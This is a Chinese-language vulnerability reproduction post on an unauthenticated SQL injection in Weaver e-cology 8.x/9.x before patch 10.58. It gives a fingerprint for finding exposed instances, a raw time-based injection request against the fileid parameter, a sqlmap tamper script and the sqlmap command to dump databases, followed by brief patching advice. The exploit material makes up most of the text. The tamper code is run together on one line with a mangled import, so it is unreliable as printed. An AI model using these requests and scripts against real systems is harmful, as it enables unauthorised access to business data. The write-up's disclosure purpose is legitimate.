0x01 产品简介
泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
0x02 漏洞概述
由于泛微e-cology未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限等。
0x03 影响范围
Ecology 9.x 补丁版本 < 10.58.0
Ecology 8.x 补丁版本 < 10.58.0
0x04 复现环境
鹰图指纹:
web.icon="41eca7a9245394106a09b2534d8030df"
0x05 漏洞复现
PoC
GET /weaver/weaver.file.FileDownloadForOutDoc/?fileid=123+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1 HTTP/1.1Host: your-ipAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
PS:fileid字段为注入点,post和get都可以,经测试,每注入一次,fileid的值(可随意构造)就需要更换一次,不然无法成功(可自行尝试),这也是漏洞比较鸡肋的点。
SQLmap利用思路
编写一个每次请求遍历随机数去配合payload实现注入的tamper脚本
import os,re,randomfrom lib.core.enums import PRIORITYfrom mon import singleTimeWarnMessagefrom lib.core.enums import DBMSpriority = PRIORITY.HIGHESTdef tamper(payload, **kwargs):result = ""num = random.randint(1,2**27)result = str(num)+payloadreturn result
把数据包放txt里面
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1Host: your-ipAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closefileid=12*&isFromOutImg=1
尝试注入:
python3 sqlmap.py -r post.txt --tamper=ecology_sql_random.py --batch --dbs
效果:
0x06 修复建议
临时缓解方案
限制访问来源地址,如非必要,不要将系统开放在互联网上。
升级修复方案
目前官方已发布安全补丁,建议受影响用户尽快升级至10.58及以上版本。
/cs/securityDownload.asp#